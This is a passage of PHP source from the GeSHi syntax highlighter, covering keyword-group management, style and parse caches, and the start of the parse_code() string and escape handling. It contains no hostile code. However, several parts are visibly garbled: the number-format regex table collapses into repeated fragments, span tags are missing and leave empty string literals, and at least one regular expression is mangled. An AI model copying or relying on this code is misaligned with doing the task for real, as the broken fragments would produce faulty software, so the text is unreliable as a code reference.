'tcl' => array('tcl'), 'vb' => array('bas'), 'vbnet' => array(), 'visualfoxpro' => array(), 'whitespace' => array('ws'), 'xml' => array('xml', 'svg', 'xrc'), 'z80' => array('z80', 'asm', 'inc') ); } foreach ($lookup as $lang => $extensions) { if (in_array($extension, $extensions)) { return $lang; } } return ''; } /** * Given a file name, this method loads its contents in, and attempts * to set the language automatically. An optional lookup table can be * passed for looking up the language name. If not specified a default * table is used * * The language table is in the form *
    array(
         *   'lang_name' => array('extension', 'extension', ...),
         *   'lang_name' ...
         * );
    * * @param string The filename to load the source from * @param array A lookup array to use instead of the default one * @todo Complete rethink of this and above method * @since 1.0.5 */ function load_from_file($file_name, $lookup = array()) { if (is_readable($file_name)) { $this->set_source(file_get_contents($file_name)); $this->set_language($this->get_language_name_from_extension(substr(strrchr($file_name, '.'), 1), $lookup)); } else { $this->error = GESHI_ERROR_FILE_NOT_READABLE; } } /** * Adds a keyword to a keyword group for highlighting * * @param int The key of the keyword group to add the keyword to * @param string The word to add to the keyword group * @since 1.0.0 */ function add_keyword($key, $word) { if (!in_array($word, $this->language_data['KEYWORDS'][$key])) { $this->language_data['KEYWORDS'][$key][] = $word; //NEW in 1.0.8 don't recompile the whole optimized regexp, simply append it if ($this->parse_cache_built) { $subkey = count($this->language_data['CACHED_KEYWORD_LISTS'][$key]) - 1; $this->language_data['CACHED_KEYWORD_LISTS'][$key][$subkey] .= '|' . preg_quote($word, '/'); } } } /** * Removes a keyword from a keyword group * * @param int The key of the keyword group to remove the keyword from * @param string The word to remove from the keyword group * @param bool Wether to automatically recompile the optimized regexp list or not. * Note: if you set this to false and @see GeSHi->parse_code() was already called once, * for the current language, you have to manually call @see GeSHi->optimize_keyword_group() * or the removed keyword will stay in cache and still be highlighted! On the other hand * it might be too expensive to recompile the regexp list for every removal if you want to * remove a lot of keywords. * @since 1.0.0 */ function remove_keyword($key, $word, $recompile = true) { $key_to_remove = array_search($word, $this->language_data['KEYWORDS'][$key]); if ($key_to_remove !== false) { unset($this->language_data['KEYWORDS'][$key][$key_to_remove]); //NEW in 1.0.8, optionally recompile keyword group if ($recompile && $this->parse_cache_built) { $this->optimize_keyword_group($key); } } } /** * Creates a new keyword group * * @param int The key of the keyword group to create * @param string The styles for the keyword group * @param boolean Whether the keyword group is case sensitive ornot * @param array The words to use for the keyword group * @since 1.0.0 */ function add_keyword_group($key, $styles, $case_sensitive = true, $words = array()) { $words = (array) $words; if (empty($words)) { // empty word lists mess up highlighting return false; } //Add the new keyword group internally $this->language_data['KEYWORDS'][$key] = $words; $this->lexic_permissions['KEYWORDS'][$key] = true; $this->language_data['CASE_SENSITIVE'][$key] = $case_sensitive; $this->language_data['STYLES']['KEYWORDS'][$key] = $styles; //NEW in 1.0.8, cache keyword regexp if ($this->parse_cache_built) { $this->optimize_keyword_group($key); } } /** * Removes a keyword group * * @param int The key of the keyword group to remove * @since 1.0.0 */ function remove_keyword_group ($key) { //Remove the keyword group internally unset($this->language_data['KEYWORDS'][$key]); unset($this->lexic_permissions['KEYWORDS'][$key]); unset($this->language_data['CASE_SENSITIVE'][$key]); unset($this->language_data['STYLES']['KEYWORDS'][$key]); //NEW in 1.0.8 unset($this->language_data['CACHED_KEYWORD_LISTS'][$key]); } /** * compile optimized regexp list for keyword group * * @param int The key of the keyword group to compile & optimize * @since 1.0.8 */ function optimize_keyword_group($key) { $this->language_data['CACHED_KEYWORD_LISTS'][$key] = $this->optimize_regexp_list($this->language_data['KEYWORDS'][$key]); $space_as_whitespace = false; if(isset($this->language_data['PARSER_CONTROL'])) { if(isset($this->language_data['PARSER_CONTROL']['KEYWORDS'])) { if(isset($this->language_data['PARSER_CONTROL']['KEYWORDS']['SPACE_AS_WHITESPACE'])) { $space_as_whitespace = $this->language_data['PARSER_CONTROL']['KEYWORDS']['SPACE_AS_WHITESPACE']; } if(isset($this->language_data['PARSER_CONTROL']['KEYWORDS'][$key]['SPACE_AS_WHITESPACE'])) { if(isset($this->language_data['PARSER_CONTROL']['KEYWORDS'][$key]['SPACE_AS_WHITESPACE'])) { $space_as_whitespace = $this->language_data['PARSER_CONTROL']['KEYWORDS'][$key]['SPACE_AS_WHITESPACE']; } } } } if($space_as_whitespace) { foreach($this->language_data['CACHED_KEYWORD_LISTS'][$key] as $rxk => $rxv) { $this->language_data['CACHED_KEYWORD_LISTS'][$key][$rxk] = str_replace(" ", "\\s+", $rxv); } } } /** * Sets the content of the header block * * @param string The content of the header block * @since 1.0.2 */ function set_header_content($content) { $this->header_content = $content; } /** * Sets the content of the footer block * * @param string The content of the footer block * @since 1.0.2 */ function set_footer_content($content) { $this->footer_content = $content; } /** * Sets the style for the header content * * @param string The style for the header content * @since 1.0.2 */ function set_header_content_style($style) { $this->header_content_style = $style; } /** * Sets the style for the footer content * * @param string The style for the footer content * @since 1.0.2 */ function set_footer_content_style($style) { $this->footer_content_style = $style; } /** * Sets whether to force a surrounding block around * the highlighted code or not * * @param boolean Tells whether to enable or disable this feature * @since 1.0.7.20 */ function enable_inner_code_block($flag) { $this->force_code_block = (bool)$flag; } /** * Sets the base URL to be used for keywords * * @param int The key of the keyword group to set the URL for * @param string The URL to set for the group. If {FNAME} is in * the url somewhere, it is replaced by the keyword * that the URL is being made for * @since 1.0.2 */ function set_url_for_keyword_group($group, $url) { $this->language_data['URLS'][$group] = $url; } /** * Sets styles for links in code * * @param int A constant that specifies what state the style is being * set for - e.g. :hover or :visited * @param string The styles to use for that state * @since 1.0.2 */ function set_link_styles($type, $styles) { $this->link_styles[$type] = $styles; } /** * Sets the target for links in code * * @param string The target for links in the code, e.g. _blank * @since 1.0.3 */ function set_link_target($target) { if (!$target) { $this->link_target = ''; } else { $this->link_target = ' target="' . $target . '"'; } } /** * Sets styles for important parts of the code * * @param string The styles to use on important parts of the code * @since 1.0.2 */ function set_important_styles($styles) { $this->important_styles = $styles; } /** * Sets whether context-important blocks are highlighted * * @param boolean Tells whether to enable or disable highlighting of important blocks * @todo REMOVE THIS SHIZ FROM GESHI! * @deprecated * @since 1.0.2 */ function enable_important_blocks($flag) { $this->enable_important_blocks = ( $flag ) ? true : false; } /** * Whether CSS IDs should be added to each line * * @param boolean If true, IDs will be added to each line. * @since 1.0.2 */ function enable_ids($flag = true) { $this->add_ids = ($flag) ? true : false; } /** * Specifies which lines to highlight extra * * The extra style parameter was added in 1.0.7.21. * * @param mixed An array of line numbers to highlight, or just a line * number on its own. * @param string A string specifying the style to use for this line. * If null is specified, the default style is used. * If false is specified, the line will be removed from * special highlighting * @since 1.0.2 * @todo Some data replication here that could be cut down on */ function highlight_lines_extra($lines, $style = null) { if (is_array($lines)) { //Split up the job using single lines at a time foreach ($lines as $line) { $this->highlight_lines_extra($line, $style); } } else { //Mark the line as being highlighted specially $lines = intval($lines); $this->highlight_extra_lines[$lines] = $lines; //Decide on which style to use if ($style === null) { //Check if we should use default style unset($this->highlight_extra_lines_styles[$lines]); } elseif ($style === false) { //Check if to remove this line unset($this->highlight_extra_lines[$lines]); unset($this->highlight_extra_lines_styles[$lines]); } else { $this->highlight_extra_lines_styles[$lines] = $style; } } } /** * Sets the style for extra-highlighted lines * * @param string The style for extra-highlighted lines * @since 1.0.2 */ function set_highlight_lines_extra_style($styles) { $this->highlight_extra_lines_style = $styles; } /** * Sets the line-ending * * @param string The new line-ending * @since 1.0.2 */ function set_line_ending($line_ending) { $this->line_ending = (string)$line_ending; } /** * Sets what number line numbers should start at. Should * be a positive integer, and will be converted to one. * * Warning: Using this method will add the "start" * attribute to the <ol> that is used for line numbering. * This is not valid XHTML strict, so if that's what you * care about then don't use this method. Firefox is getting * support for the CSS method of doing this in 1.1 and Opera * has support for the CSS method, but (of course) IE doesn't * so it's not worth doing it the CSS way yet. * * @param int The number to start line numbers at * @since 1.0.2 */ function start_line_numbers_at($number) { $this->line_numbers_start = abs(intval($number)); } /** * Sets the encoding used for htmlspecialchars(), for international * support. * * NOTE: This is not needed for now because htmlspecialchars() is not * being used (it has a security hole in PHP4 that has not been patched). * Maybe in a future version it may make a return for speed reasons, but * I doubt it. * * @param string The encoding to use for the source * @since 1.0.3 */ function set_encoding($encoding) { if ($encoding) { $this->encoding = strtolower($encoding); } } /** * Turns linking of keywords on or off. * * @param boolean If true, links will be added to keywords * @since 1.0.2 */ function enable_keyword_links($enable = true) { $this->keyword_links = (bool) $enable; } /** * Setup caches needed for styling. This is automatically called in * parse_code() and get_stylesheet() when appropriate. This function helps * stylesheet generators as they rely on some style information being * preprocessed * * @since 1.0.8 * @access private */ function build_style_cache() { //Build the style cache needed to highlight numbers appropriate if($this->lexic_permissions['NUMBERS']) { //First check what way highlighting information for numbers are given if(!isset($this->language_data['NUMBERS'])) { $this->language_data['NUMBERS'] = 0; } if(is_array($this->language_data['NUMBERS'])) { $this->language_data['NUMBERS_CACHE'] = $this->language_data['NUMBERS']; } else { $this->language_data['NUMBERS_CACHE'] = array(); if(!$this->language_data['NUMBERS']) { $this->language_data['NUMBERS'] = GESHI_NUMBER_INT_BASIC | GESHI_NUMBER_FLT_NONSCI; } for($i = 0, $j = $this->language_data['NUMBERS']; $j > 0; ++$i, $j>>=1) { //Rearrange style indices if required ... if(isset($this->language_data['STYLES']['NUMBERS'][1<<$i])) { $this->language_data['STYLES']['NUMBERS'][$i] = $this->language_data['STYLES']['NUMBERS'][1<<$i]; unset($this->language_data['STYLES']['NUMBERS'][1<<$i]); } //Check if this bit is set for highlighting if($j&1) { //So this bit is set ... //Check if it belongs to group 0 or the actual stylegroup if(isset($this->language_data['STYLES']['NUMBERS'][$i])) { $this->language_data['NUMBERS_CACHE'][$i] = 1 << $i; } else { if(!isset($this->language_data['NUMBERS_CACHE'][0])) { $this->language_data['NUMBERS_CACHE'][0] = 0; } $this->language_data['NUMBERS_CACHE'][0] |= 1 << $i; } } } } } } /** * Setup caches needed for parsing. This is automatically called in parse_code() when appropriate. * This function makes stylesheet generators much faster as they do not need these caches. * * @since 1.0.8 * @access private */ function build_parse_cache() { // cache symbol regexp //As this is a costy operation, we avoid doing it for multiple groups ... //Instead we perform it for all symbols at once. // //For this to work, we need to reorganize the data arrays. if ($this->lexic_permissions['SYMBOLS'] && !empty($this->language_data['SYMBOLS'])) { $this->language_data['MULTIPLE_SYMBOL_GROUPS'] = count($this->language_data['STYLES']['SYMBOLS']) > 1; $this->language_data['SYMBOL_DATA'] = array(); $symbol_preg_multi = array(); // multi char symbols $symbol_preg_single = array(); // single char symbols foreach ($this->language_data['SYMBOLS'] as $key => $symbols) { if (is_array($symbols)) { foreach ($symbols as $sym) { $sym = $this->hsc($sym); if (!isset($this->language_data['SYMBOL_DATA'][$sym])) { $this->language_data['SYMBOL_DATA'][$sym] = $key; if (isset($sym[1])) { // multiple chars $symbol_preg_multi[] = preg_quote($sym, '/'); } else { // single char if ($sym == '-') { // don't trigger range out of order error $symbol_preg_single[] = '\-'; } else { $symbol_preg_single[] = preg_quote($sym, '/'); } } } } } else { $symbols = $this->hsc($symbols); if (!isset($this->language_data['SYMBOL_DATA'][$symbols])) { $this->language_data['SYMBOL_DATA'][$symbols] = 0; if (isset($symbols[1])) { // multiple chars $symbol_preg_multi[] = preg_quote($symbols, '/'); } elseif ($symbols == '-') { // don't trigger range out of order error $symbol_preg_single[] = '\-'; } else { // single char $symbol_preg_single[] = preg_quote($symbols, '/'); } } } } //Now we have an array with each possible symbol as the key and the style as the actual data. //This way we can set the correct style just the moment we highlight ... // //Now we need to rewrite our array to get a search string that $symbol_preg = array(); if (!empty($symbol_preg_multi)) { rsort($symbol_preg_multi); $symbol_preg[] = implode('|', $symbol_preg_multi); } if (!empty($symbol_preg_single)) { rsort($symbol_preg_single); $symbol_preg[] = '[' . implode('', $symbol_preg_single) . ']'; } $this->language_data['SYMBOL_SEARCH'] = implode("|", $symbol_preg); } // cache optimized regexp for keyword matching // remove old cache $this->language_data['CACHED_KEYWORD_LISTS'] = array(); foreach (array_keys($this->language_data['KEYWORDS']) as $key) { if (!isset($this->lexic_permissions['KEYWORDS'][$key]) || $this->lexic_permissions['KEYWORDS'][$key]) { $this->optimize_keyword_group($key); } } // brackets if ($this->lexic_permissions['BRACKETS']) { $this->language_data['CACHE_BRACKET_MATCH'] = array('[', ']', '(', ')', '{', '}'); if (!$this->use_classes && isset($this->language_data['STYLES']['BRACKETS'][0])) { $this->language_data['CACHE_BRACKET_REPLACE'] = array( '<| style="' . $this->language_data['STYLES']['BRACKETS'][0] . '">[|>', '<| style="' . $this->language_data['STYLES']['BRACKETS'][0] . '">]|>', '<| style="' . $this->language_data['STYLES']['BRACKETS'][0] . '">(|>', '<| style="' . $this->language_data['STYLES']['BRACKETS'][0] . '">)|>', '<| style="' . $this->language_data['STYLES']['BRACKETS'][0] . '">{|>', '<| style="' . $this->language_data['STYLES']['BRACKETS'][0] . '">}|>', ); } else { $this->language_data['CACHE_BRACKET_REPLACE'] = array( '<| class="br0">[|>', '<| class="br0">]|>', '<| class="br0">(|>', '<| class="br0">)|>', '<| class="br0">{|>', '<| class="br0">}|>', ); } } //Build the parse cache needed to highlight numbers appropriate if($this->lexic_permissions['NUMBERS']) { //Check if the style rearrangements have been processed ... //This also does some preprocessing to check which style groups are useable ... if(!isset($this->language_data['NUMBERS_CACHE'])) { $this->build_style_cache(); } //Number format specification //All this formats are matched case-insensitively! static $numbers_format = array( GESHI_NUMBER_INT_BASIC => '(?:(? '(? '(? '(? '(? '(? '(? '(? '(? '(? '(? '(? '(? '(? '(? '(?language_data['NUMBERS_RXCACHE'] = array(); foreach($this->language_data['NUMBERS_CACHE'] as $key => $rxdata) { if(is_string($rxdata)) { $regexp = $rxdata; } else { //This is a bitfield of number flags to highlight: //Build an array, implode them together and make this the actual RX $rxuse = array(); for($i = 1; $i <= $rxdata; $i<<=1) { if($rxdata & $i) { $rxuse[] = $numbers_format[$i]; } } $regexp = implode("|", $rxuse); } $this->language_data['NUMBERS_RXCACHE'][$key] = "/(?)($regexp)(?!(?:|(?>[^\<]))+>)(?![^<]*>)(?!\|>)(?!\/>)/i"; // } if(!isset($this->language_data['PARSER_CONTROL']['NUMBERS']['PRECHECK_RX'])) { $this->language_data['PARSER_CONTROL']['NUMBERS']['PRECHECK_RX'] = '#\d#'; } } $this->parse_cache_built = true; } /** * Returns the code in $this->source, highlighted and surrounded by the * nessecary HTML. * * This should only be called ONCE, cos it's SLOW! If you want to highlight * the same source multiple times, you're better off doing a whole lot of * str_replaces to replace the <span>s * * @since 1.0.0 */ function parse_code () { // Start the timer $start_time = microtime(); // Replace all newlines to a common form. $code = str_replace("\r\n", "\n", $this->source); $code = str_replace("\r", "\n", $code); // Firstly, if there is an error, we won't highlight if ($this->error) { //Escape the source for output $result = $this->hsc($this->source); //This fix is related to SF#1923020, but has to be applied regardless of //actually highlighting symbols. $result = str_replace(array('', ''), array(';', '|'), $result); // Timing is irrelevant $this->set_time($start_time, $start_time); $this->finalise($result); return $result; } // make sure the parse cache is up2date if (!$this->parse_cache_built) { $this->build_parse_cache(); } // Initialise various stuff $length = strlen($code); $COMMENT_MATCHED = false; $stuff_to_parse = ''; $endresult = ''; // "Important" selections are handled like multiline comments // @todo GET RID OF THIS SHIZ if ($this->enable_important_blocks) { $this->language_data['COMMENT_MULTI'][GESHI_START_IMPORTANT] = GESHI_END_IMPORTANT; } if ($this->strict_mode) { // Break the source into bits. Each bit will be a portion of the code // within script delimiters - for example, HTML between < and > $k = 0; $parts = array(); $matches = array(); $next_match_pointer = null; // we use a copy to unset delimiters on demand (when they are not found) $delim_copy = $this->language_data['SCRIPT_DELIMITERS']; $i = 0; while ($i < $length) { $next_match_pos = $length + 1; // never true foreach ($delim_copy as $dk => $delimiters) { if(is_array($delimiters)) { foreach ($delimiters as $open => $close) { // make sure the cache is setup properly if (!isset($matches[$dk][$open])) { $matches[$dk][$open] = array( 'next_match' => -1, 'dk' => $dk, 'open' => $open, // needed for grouping of adjacent code blocks (see below) 'open_strlen' => strlen($open), 'close' => $close, 'close_strlen' => strlen($close), ); } // Get the next little bit for this opening string if ($matches[$dk][$open]['next_match'] < $i) { // only find the next pos if it was not already cached $open_pos = strpos($code, $open, $i); if ($open_pos === false) { // no match for this delimiter ever unset($delim_copy[$dk][$open]); continue; } $matches[$dk][$open]['next_match'] = $open_pos; } if ($matches[$dk][$open]['next_match'] < $next_match_pos) { //So we got a new match, update the close_pos $matches[$dk][$open]['close_pos'] = strpos($code, $close, $matches[$dk][$open]['next_match']+1); $next_match_pointer =& $matches[$dk][$open]; $next_match_pos = $matches[$dk][$open]['next_match']; } } } else { //So we should match an RegExp as Strict Block ... /** * The value in $delimiters is expected to be an RegExp * containing exactly 2 matching groups: * - Group 1 is the opener * - Group 2 is the closer */ if(!GESHI_PHP_PRE_433 && //Needs proper rewrite to work with PHP >=4.3.0; 4.3.3 is guaranteed to work. preg_match($delimiters, $code, $matches_rx, PREG_OFFSET_CAPTURE, $i)) { //We got a match ... if(isset($matches_rx['start']) && isset($matches_rx['end'])) { $matches[$dk] = array( 'next_match' => $matches_rx['start'][1], 'dk' => $dk, 'close_strlen' => strlen($matches_rx['end'][0]), 'close_pos' => $matches_rx['end'][1], ); } else { $matches[$dk] = array( 'next_match' => $matches_rx[1][1], 'dk' => $dk, 'close_strlen' => strlen($matches_rx[2][0]), 'close_pos' => $matches_rx[2][1], ); } } else { // no match for this delimiter ever unset($delim_copy[$dk]); continue; } if ($matches[$dk]['next_match'] <= $next_match_pos) { $next_match_pointer =& $matches[$dk]; $next_match_pos = $matches[$dk]['next_match']; } } } // non-highlightable text $parts[$k] = array( 1 => substr($code, $i, $next_match_pos - $i) ); ++$k; if ($next_match_pos > $length) { // out of bounds means no next match was found break; } // highlightable code $parts[$k][0] = $next_match_pointer['dk']; //Only combine for non-rx script blocks if(is_array($delim_copy[$next_match_pointer['dk']])) { // group adjacent script blocks, e.g. should be one block, not three! $i = $next_match_pos + $next_match_pointer['open_strlen']; while (true) { $close_pos = strpos($code, $next_match_pointer['close'], $i); if ($close_pos == false) { break; } $i = $close_pos + $next_match_pointer['close_strlen']; if ($i == $length) { break; } if ($code[$i] == $next_match_pointer['open'][0] && ($next_match_pointer['open_strlen'] == 1 || substr($code, $i, $next_match_pointer['open_strlen']) == $next_match_pointer['open'])) { // merge adjacent but make sure we don't merge things like foreach ($matches as $submatches) { foreach ($submatches as $match) { if ($match['next_match'] == $i) { // a different block already matches here! break 3; } } } } else { break; } } } else { $close_pos = $next_match_pointer['close_pos'] + $next_match_pointer['close_strlen']; $i = $close_pos; } if ($close_pos === false) { // no closing delimiter found! $parts[$k][1] = substr($code, $next_match_pos); ++$k; break; } else { $parts[$k][1] = substr($code, $next_match_pos, $i - $next_match_pos); ++$k; } } unset($delim_copy, $next_match_pointer, $next_match_pos, $matches); $num_parts = $k; if ($num_parts == 1 && $this->strict_mode == GESHI_MAYBE) { // when we have only one part, we don't have anything to highlight at all. // if we have a "maybe" strict language, this should be handled as highlightable code $parts = array( 0 => array( 0 => '', 1 => '' ), 1 => array( 0 => null, 1 => $parts[0][1] ) ); $num_parts = 2; } } else { // Not strict mode - simply dump the source into // the array at index 1 (the first highlightable block) $parts = array( 0 => array( 0 => '', 1 => '' ), 1 => array( 0 => null, 1 => $code ) ); $num_parts = 2; } //Unset variables we won't need any longer unset($code); //Preload some repeatedly used values regarding hardquotes ... $hq = isset($this->language_data['HARDQUOTE']) ? $this->language_data['HARDQUOTE'][0] : false; $hq_strlen = strlen($hq); //Preload if line numbers are to be generated afterwards //Added a check if line breaks should be forced even without line numbers, fixes SF#1727398 $check_linenumbers = $this->line_numbers != GESHI_NO_LINE_NUMBERS || !empty($this->highlight_extra_lines) || !$this->allow_multiline_span; //preload the escape char for faster checking ... $escaped_escape_char = $this->hsc($this->language_data['ESCAPE_CHAR']); // this is used for single-line comments $sc_disallowed_before = ""; $sc_disallowed_after = ""; if (isset($this->language_data['PARSER_CONTROL'])) { if (isset($this->language_data['PARSER_CONTROL']['COMMENTS'])) { if (isset($this->language_data['PARSER_CONTROL']['COMMENTS']['DISALLOWED_BEFORE'])) { $sc_disallowed_before = $this->language_data['PARSER_CONTROL']['COMMENTS']['DISALLOWED_BEFORE']; } if (isset($this->language_data['PARSER_CONTROL']['COMMENTS']['DISALLOWED_AFTER'])) { $sc_disallowed_after = $this->language_data['PARSER_CONTROL']['COMMENTS']['DISALLOWED_AFTER']; } } } //Fix for SF#1932083: Multichar Quotemarks unsupported $is_string_starter = array(); if ($this->lexic_permissions['STRINGS']) { foreach ($this->language_data['QUOTEMARKS'] as $quotemark) { if (!isset($is_string_starter[$quotemark[0]])) { $is_string_starter[$quotemark[0]] = (string)$quotemark; } elseif (is_string($is_string_starter[$quotemark[0]])) { $is_string_starter[$quotemark[0]] = array( $is_string_starter[$quotemark[0]], $quotemark); } else { $is_string_starter[$quotemark[0]][] = $quotemark; } } } // Now we go through each part. We know that even-indexed parts are // code that shouldn't be highlighted, and odd-indexed parts should // be highlighted for ($key = 0; $key < $num_parts; ++$key) { $STRICTATTRS = ''; // If this block should be highlighted... if (!($key & 1)) { // Else not a block to highlight $endresult .= $this->hsc($parts[$key][1]); unset($parts[$key]); continue; } $result = ''; $part = $parts[$key][1]; $highlight_part = true; if ($this->strict_mode && !is_null($parts[$key][0])) { // get the class key for this block of code $script_key = $parts[$key][0]; $highlight_part = $this->language_data['HIGHLIGHT_STRICT_BLOCK'][$script_key]; if ($this->language_data['STYLES']['SCRIPT'][$script_key] != '' && $this->lexic_permissions['SCRIPT']) { // Add a span element around the source to // highlight the overall source block if (!$this->use_classes && $this->language_data['STYLES']['SCRIPT'][$script_key] != '') { $attributes = ' style="' . $this->language_data['STYLES']['SCRIPT'][$script_key] . '"'; } else { $attributes = ' class="sc' . $script_key . '"'; } $result .= ""; $STRICTATTRS = $attributes; } } if ($highlight_part) { // Now, highlight the code in this block. This code // is really the engine of GeSHi (along with the method // parse_non_string_part). // cache comment regexps incrementally $next_comment_regexp_key = ''; $next_comment_regexp_pos = -1; $next_comment_multi_pos = -1; $next_comment_single_pos = -1; $comment_regexp_cache_per_key = array(); $comment_multi_cache_per_key = array(); $comment_single_cache_per_key = array(); $next_open_comment_multi = ''; $next_comment_single_key = ''; $escape_regexp_cache_per_key = array(); $next_escape_regexp_key = ''; $next_escape_regexp_pos = -1; $length = strlen($part); for ($i = 0; $i < $length; ++$i) { // Get the next char $char = $part[$i]; $char_len = 1; // update regexp comment cache if needed if (isset($this->language_data['COMMENT_REGEXP']) && $next_comment_regexp_pos < $i) { $next_comment_regexp_pos = $length; foreach ($this->language_data['COMMENT_REGEXP'] as $comment_key => $regexp) { $match_i = false; if (isset($comment_regexp_cache_per_key[$comment_key]) && ($comment_regexp_cache_per_key[$comment_key]['pos'] >= $i || $comment_regexp_cache_per_key[$comment_key]['pos'] === false)) { // we have already matched something if ($comment_regexp_cache_per_key[$comment_key]['pos'] === false) { // this comment is never matched continue; } $match_i = $comment_regexp_cache_per_key[$comment_key]['pos']; } elseif ( //This is to allow use of the offset parameter in preg_match and stay as compatible with older PHP versions as possible (GESHI_PHP_PRE_433 && preg_match($regexp, substr($part, $i), $match, PREG_OFFSET_CAPTURE)) || (!GESHI_PHP_PRE_433 && preg_match($regexp, $part, $match, PREG_OFFSET_CAPTURE, $i)) ) { $match_i = $match[0][1]; if (GESHI_PHP_PRE_433) { $match_i += $i; } $comment_regexp_cache_per_key[$comment_key] = array( 'key' => $comment_key, 'length' => strlen($match[0][0]), 'pos' => $match_i ); } else { $comment_regexp_cache_per_key[$comment_key]['pos'] = false; continue; } if ($match_i !== false && $match_i < $next_comment_regexp_pos) { $next_comment_regexp_pos = $match_i; $next_comment_regexp_key = $comment_key; if ($match_i === $i) { break; } } } } $string_started = false; if (isset($is_string_starter[$char])) { // Possibly the start of a new string ... //Check which starter it was ... //Fix for SF#1932083: Multichar Quotemarks unsupported if (is_array($is_string_starter[$char])) { $char_new = ''; foreach ($is_string_starter[$char] as $testchar) { if ($testchar === substr($part, $i, strlen($testchar)) && strlen($testchar) > strlen($char_new)) { $char_new = $testchar; $string_started = true; } } if ($string_started) { $char = $char_new; } } else { $testchar = $is_string_starter[$char]; if ($testchar === substr($part, $i, strlen($testchar))) { $char = $testchar; $string_started = true; } } $char_len = strlen($char); } if ($string_started && ($i != $next_comment_regexp_pos)) { // Hand out the correct style information for this string $string_key = array_search($char, $this->language_data['QUOTEMARKS']); if (!isset($this->language_data['STYLES']['STRINGS'][$string_key]) || !isset($this->language_data['STYLES']['ESCAPE_CHAR'][$string_key])) { $string_key = 0; } // parse the stuff before this $result .= $this->parse_non_string_part($stuff_to_parse); $stuff_to_parse = ''; if (!$this->use_classes) { $string_attributes = ' style="' . $this->language_data['STYLES']['STRINGS'][$string_key] . '"'; } else { $string_attributes = ' class="st'.$string_key.'"'; } // now handle the string $string = "" . GeSHi::hsc($char); $start = $i + $char_len; $string_open = true; if(empty($this->language_data['ESCAPE_REGEXP'])) { $next_escape_regexp_pos = $length; } do { //Get the regular ending pos ... $close_pos = strpos($part, $char, $start); if(false === $close_pos) { $close_pos = $length; } if($this->lexic_permissions['ESCAPE_CHAR']) { // update escape regexp cache if needed if (isset($this->language_data['ESCAPE_REGEXP']) && $next_escape_regexp_pos < $start) { $next_escape_regexp_pos = $length; foreach ($this->language_data['ESCAPE_REGEXP'] as $escape_key => $regexp) { $match_i = false; if (isset($escape_regexp_cache_per_key[$escape_key]) && ($escape_regexp_cache_per_key[$escape_key]['pos'] >= $start || $escape_regexp_cache_per_key[$escape_key]['pos'] === false)) { // we have already matched something if ($escape_regexp_cache_per_key[$escape_key]['pos'] === false) { // this comment is never matched continue; } $match_i = $escape_regexp_cache_per_key[$escape_key]['pos']; } elseif ( //This is to allow use of the offset parameter in preg_match and stay as compatible with older PHP versions as possible (GESHI_PHP_PRE_433 && preg_match($regexp, substr($part, $start), $match, PREG_OFFSET_CAPTURE)) || (!GESHI_PHP_PRE_433 && preg_match($regexp, $part, $match, PREG_OFFSET_CAPTURE, $start)) ) { $match_i = $match[0][1]; if (GESHI_PHP_PRE_433) { $match_i += $start; } $escape_regexp_cache_per_key[$escape_key] = array( 'key' => $escape_key, 'length' => strlen($match[0][0]), 'pos' => $match_i ); } else { $escape_regexp_cache_per_key[$escape_key]['pos'] = false; continue; } if ($match_i !== false && $match_i < $next_escape_regexp_pos) { $next_escape_regexp_pos = $match_i; $next_escape_regexp_key = $escape_key; if ($match_i === $start) { break; } } } } //Find the next simple escape position if('' != $this->language_data['ESCAPE_CHAR']) { $simple_escape = strpos($part, $this->language_data['ESCAPE_CHAR'], $start); if(false === $simple_escape) { $simple_escape = $length; } } else { $simple_escape = $length; } } else { $next_escape_regexp_pos = $length; $simple_escape = $length; } if($simple_escape < $next_escape_regexp_pos && $simple_escape < $length && $simple_escape < $close_pos) { //The nexxt escape sequence is a simple one ... $es_pos = $simple_escape; //Add the stuff not in the string yet ... $string .= $this->hsc(substr($part, $start, $es_pos - $start)); //Get the style for this escaped char ... if (!$this->use_classes) { $escape_char_attributes = ' style="' . $this->language_data['STYLES']['ESCAPE_CHAR'][0] . '"'; } else { $escape_char_attributes = ' class="es0"'; } //Add the style for the escape char ... $string .= "" . GeSHi::hsc($this->language_data['ESCAPE_CHAR']); //Get the byte AFTER the ESCAPE_CHAR we just found $es_char = $part[$es_pos + 1]; if ($es_char == "\n") { // don't put a newline around newlines $string .= "
    \n"; $start = $es_pos + 2; } elseif (ord($es_char) >= 128) { //This is an non-ASCII char (UTF8 or single byte) //This code tries to work around SF#2037598 ... if(function_exists('mb_substr')) { $es_char_m = mb_substr(substr($part, $es_pos+1, 16), 0, 1, $this->encoding); $string .= $es_char_m . ''; } elseif (!GESHI_PHP_PRE_433 && 'utf-8' == $this->encoding) { if(preg_match("/[\xC2-\xDF][\x80-\xBF]". "|\xE0[\xA0-\xBF][\x80-\xBF]". "|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}". "|\xED[\x80-\x9F][\x80-\xBF]". "|\xF0[\x90-\xBF][\x80-\xBF]{2}". "|[\xF1-\xF3][\x80-\xBF]{3}". "|\xF4[\x80-\x8F][\x80-\xBF]{2}/s", $part, $es_char_m, null, $es_pos + 1)) { $es_char_m = $es_char_m[0]; } else { $es_char_m = $es_char; } $string .= $this->hsc($es_char_m) . ''; } else { $es_char_m = $this->hsc($es_char); } $start = $es_pos + strlen($es_char_m) + 1; } else { $string .= $this->hsc($es_char) . ''; $start = $es_pos + 2; } } elseif ($next_escape_regexp_pos < $length && $next_escape_regexp_pos < $close_pos) { $es_pos = $next_escape_regexp_pos; //Add the stuff not in the string yet ... $string .= $this->hsc(substr($part, $start, $es_pos - $start)); //Get the key and length of this match ... $escape = $escape_regexp_cache_per_key[$next_escape_regexp_key]; $escape_str = substr($part, $es_pos, $escape['length']); $escape_key = $escape['key']; //Get the style for this escaped char ... if (!$this->use_classes) { $escape_char_attributes = ' style="' . $this->language_data['STYLES']['ESCAPE_CHAR'][$escape_key] . '"'; } else { $escape_char_attributes = ' class="es' . $escape_key . '"'; } //Add the style for the escape char ... $string .= "" . $this->hsc($escape_str) . ''; $start = $es_pos + $escape['length']; } else { //Copy the remainder of the string ... $string .= $this->hsc(substr($part, $start, $close_pos - $start + $char_len)) . ''; $start = $close_pos + $char_len; $string_open = false; } } while($string_open); if ($check_linenumbers) { // Are line numbers used? If, we should end the string before // the newline and begin it again (so when
